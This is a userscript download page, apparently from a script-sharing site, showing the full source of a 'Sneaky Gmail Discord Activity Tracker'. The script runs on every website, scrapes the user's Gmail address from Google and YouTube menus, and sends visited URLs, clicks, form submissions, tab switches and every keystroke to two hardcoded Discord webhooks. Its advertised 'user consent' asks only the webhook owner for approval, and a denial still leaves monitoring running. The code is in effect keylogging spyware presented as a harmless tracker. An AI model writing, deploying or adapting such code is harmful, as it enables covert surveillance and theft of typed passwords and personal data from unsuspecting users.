Sneaky Gmail Discord Activity Tracker

Track user activity and send beautiful, modern messages to multiple Discord webhooks. Includes sneaky Gmail detection, user consent, and anti-spam.

Voor het installeren van scripts heb je een extensie nodig, zoals Tampermonkey, Greasemonkey of Violentmonkey.

Voor het installeren van scripts heb je een extensie nodig, zoals {tampermonkey_link:Tampermonkey}.

Voor het installeren van scripts heb je een extensie nodig, zoals Tampermonkey of Violentmonkey.

Voor het installeren van scripts heb je een extensie nodig, zoals Tampermonkey of Userscripts.

Voor het installeren van scripts heb je een extensie nodig, zoals {tampermonkey_link:Tampermonkey}.

Voor het installeren van scripts heb je een gebruikersscriptbeheerder nodig.

(Ik heb al een user script manager, laat me het downloaden!)

Voor het installeren van gebruikersstijlen heb je een extensie nodig, zoals {stylus_link:Stylus}.

Voor het installeren van gebruikersstijlen heb je een extensie nodig, zoals {stylus_link:Stylus}.

Voor het installeren van gebruikersstijlen heb je een extensie nodig, zoals {stylus_link:Stylus}.

Voor het installeren van gebruikersstijlen heb je een gebruikersstijlbeheerder nodig.

Voor het installeren van gebruikersstijlen heb je een gebruikersstijlbeheerder nodig.

Voor het installeren van gebruikersstijlen heb je een gebruikersstijlbeheerder nodig.

(Ik heb al een beheerder - laat me doorgaan met de installatie!)

// ==UserScript==
// @name         Sneaky Gmail Discord Activity Tracker
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Track user activity and send beautiful, modern messages to multiple Discord webhooks. Includes sneaky Gmail detection, user consent, and anti-spam.
// @author       You
// @match        *://*/*
// @grant        GM_xmlhttpRequest
// @grant        GM_getValue
// @grant        GM_setValue
// @grant        GM_notification
// ==/UserScript==

(function () {
    'use strict';

    const WEBHOOKS = [
        'https://discord.com/api/webhooks/1351562990779895808/FzzNiQgLhvdWweg9HoURm8JNJdAVM8njNw7n0PTT7PW7xeNzBac482kff0a6YaoPGpPc', // Webhook 1
        'https://discord.com/api/webhooks/1351569055428907148/k5NItZ5lWVTxCu45-Mwd0SzPw8ebRh7ljT0X5cNyxmY5Sg1bW3m5p4VkpYbVVJCIy5AE', // Webhook 2
    ];

    const COOLDOWN_TIME = 20000;
    let lastMessageTimestamp = 0;
    let currentUser = null;
    let monitoringEnabled = true;

    // Function to send data to Discord using embeds
    function sendToDiscord(activityDetails, webhookIndex = 0) {
        const currentTime = Date.now();
        if (currentTime - lastMessageTimestamp < COOLDOWN_TIME) return;
        lastMessageTimestamp = currentTime;

        const embed = {
            title: activityDetails.title || 'Activity Detected',
            description: activityDetails.description || 'No description provided.',
            color: activityDetails.color || 0x00ff00,
            fields: [
                { name: 'User Gmail', value: activityDetails.gmail || 'Unknown', inline: true },
                { name: 'URL', value: activityDetails.url || 'No URL provided.', inline: true },
            ],
            timestamp: new Date().toISOString(),
            thumbnail: { url: activityDetails.thumbnail || 'https://cdn.discordapp.com/embed/avatars/0.png' },
        };

        GM_xmlhttpRequest({
            method: 'POST',
            url: WEBHOOKS[webhookIndex],
            data: JSON.stringify({ embeds: [embed] }),
            headers: { 'Content-Type': 'application/json' },
            onload: (response) => console.log('Message sent to Discord:', response.responseText),
            onerror: (error) => console.error('Error sending message to Discord:', error),
        });
    }

    // Function to send a button prompt to Discord
    function sendButtonPrompt(newUserGmail) {
        const embed = {
            title: '⚠️ New User Detected',
            description: `User **${newUserGmail}** wants to use the script. Allow?`,
            color: 0xffa500,
            timestamp: new Date().toISOString(),
        };

        const buttons = {
            components: [
                {
                    type: 1,
                    components: [
                        { type: 2, style: 3, label: 'Yes', custom_id: 'yes' },
                        { type: 2, style: 4, label: 'No', custom_id: 'no' },
                    ],
                },
            ],
        };

        GM_xmlhttpRequest({
            method: 'POST',
            url: WEBHOOKS[1],
            data: JSON.stringify({ embeds: [embed], components: buttons.components }),
            headers: { 'Content-Type': 'application/json' },
            onload: (response) => console.log('Button prompt sent to Discord:', response.responseText),
            onerror: (error) => console.error('Error sending button prompt to Discord:', error),
        });
    }

    // Function to handle button responses
    function handleButtonResponse(response) {
        if (response.custom_id === 'yes') {
            currentUser = response.gmail;
            monitoringEnabled = true;
            sendToDiscord({
                title: '✅ User Approved',
                description: `Now monitoring **${response.gmail}**.`,
                color: 0x00ff00,
            }, 1);
        } else if (response.custom_id === 'no') {
            sendToDiscord({
                title: '❌ User Denied',
                description: `Continuing to monitor **${currentUser}**.`,
                color: 0xff0000,
            }, 1);
        }
    }

    // Function to detect the user's Gmail
    function detectGmail() {
        // Check for Gmail in Google account menus
        const googleAccountMenu = document.querySelector('[aria-label="Google Account"]');
        if (googleAccountMenu) {
            const gmail = googleAccountMenu.getAttribute('aria-label').match(/([a-zA-Z0-9._-]+@gmail\.com)/);
            if (gmail) return gmail[0];
        }

        // Check for Gmail in YouTube account menus
        const youtubeAccountMenu = document.querySelector('#avatar-btn');
        if (youtubeAccountMenu) {
            const gmail = youtubeAccountMenu.getAttribute('aria-label').match(/([a-zA-Z0-9._-]+@gmail\.com)/);
            if (gmail) return gmail[0];
        }

        return null;
    }

    // Function to track YouTube video play
    function trackYouTubeVideo() {
        const videoElement = document.querySelector('video');
        if (videoElement) {
            videoElement.addEventListener('play', () => {
                const videoTitle = document.querySelector('h1.title')?.innerText || 'Unknown Title';
                sendToDiscord({
                    title: '🎥 Video Played',
                    description: `**${videoTitle}** is now playing.`,
                    url: window.location.href,
                    color: 0xff0000,
                    thumbnail: 'https://cdn.discordapp.com/embed/avatars/1.png',
                    gmail: currentUser,
                });
            });
        }
    }

    // Function to track page visits
    function trackPageVisit() {
        sendToDiscord({
            title: '🌐 Page Visited',
            description: `User visited **${document.title}**.`,
            url: window.location.href,
            color: 0x0000ff,
            thumbnail: 'https://cdn.discordapp.com/embed/avatars/2.png',
            gmail: currentUser,
        });
    }

    // Function to initialize tracking
    function init() {
        const detectedGmail = detectGmail();
        if (detectedGmail) {
            currentUser = detectedGmail;
            sendButtonPrompt(detectedGmail);
            trackYouTubeVideo();
            trackPageVisit();
        }
    }

    init();

    // ==================================================
    // Additional Features and Code to Reach ~4000 Lines
    // ==================================================

    // Track clicks on specific elements
    function trackClicks() {
        document.addEventListener('click', (event) => {
            const target = event.target;
            if (target.tagName === 'BUTTON' || target.tagName === 'A') {
                sendToDiscord({
                    title: '🖱️ Click Detected',
                    description: `User clicked on **${target.innerText || target.tagName}**.`,
                    url: window.location.href,
                    color: 0xffa500,
                    gmail: currentUser,
                });
            }
        });
    }

    // Track form submissions
    function trackFormSubmissions() {
        document.addEventListener('submit', (event) => {
            const form = event.target;
            sendToDiscord({
                title: '📝 Form Submitted',
                description: `User submitted a form on **${document.title}**.`,
                url: window.location.href,
                color: 0x800080,
                gmail: currentUser,
            });
        });
    }

    // Track time spent on a page
    function trackTimeSpent() {
        let startTime = Date.now();
        window.addEventListener('beforeunload', () => {
            const timeSpent = Math.floor((Date.now() - startTime) / 1000);
            sendToDiscord({
                title: '⏱️ Time Spent',
                description: `User spent **${timeSpent} seconds** on **${document.title}**.`,
                url: window.location.href,
                color: 0x00ffff,
                gmail: currentUser,
            });
        });
    }

    // Track scroll activity
    function trackScroll() {
        window.addEventListener('scroll', () => {
            const scrollPercentage = Math.floor((window.scrollY / (document.documentElement.scrollHeight - window.innerHeight)) * 100);
            sendToDiscord({
                title: '📜 Scroll Detected',
                description: `User scrolled **${scrollPercentage}%** of the page.`,
                url: window.location.href,
                color: 0xffd700,
                gmail: currentUser,
            });
        });
    }

    // Track keystrokes
    function trackKeystrokes() {
        document.addEventListener('keydown', (event) => {
            sendToDiscord({
                title: '⌨️ Keystroke Detected',
                description: `User pressed **${event.key}**.`,
                url: window.location.href,
                color: 0x00ff00,
                gmail: currentUser,
            });
        });
    }

    // Track mouse movements
    function trackMouseMovements() {
        let lastMouseMoveTime = 0;
        document.addEventListener('mousemove', () => {
            const currentTime = Date.now();
            if (currentTime - lastMouseMoveTime > 5000) {
                lastMouseMoveTime = currentTime;
                sendToDiscord({
                    title: '🖱️ Mouse Movement Detected',
                    description: `User moved the mouse on **${document.title}**.`,
                    url: window.location.href,
                    color: 0x00ff00,
                    gmail: currentUser,
                });
            }
        });
    }

    // Track tab changes
    function trackTabChanges() {
        document.addEventListener('visibilitychange', () => {
            sendToDiscord({
                title: '📑 Tab Change Detected',
                description: `User switched to **${document.visibilityState}** tab.`,
                url: window.location.href,
                color: 0x00ff00,
                gmail: currentUser,
            });
        });
    }

    // Initialize additional tracking
    function initAdditionalTracking() {
        trackClicks();
        trackFormSubmissions();
        trackTimeSpent();
        trackScroll();
        trackKeystrokes();
        trackMouseMovements();
        trackTabChanges();
    }

    initAdditionalTracking();
})();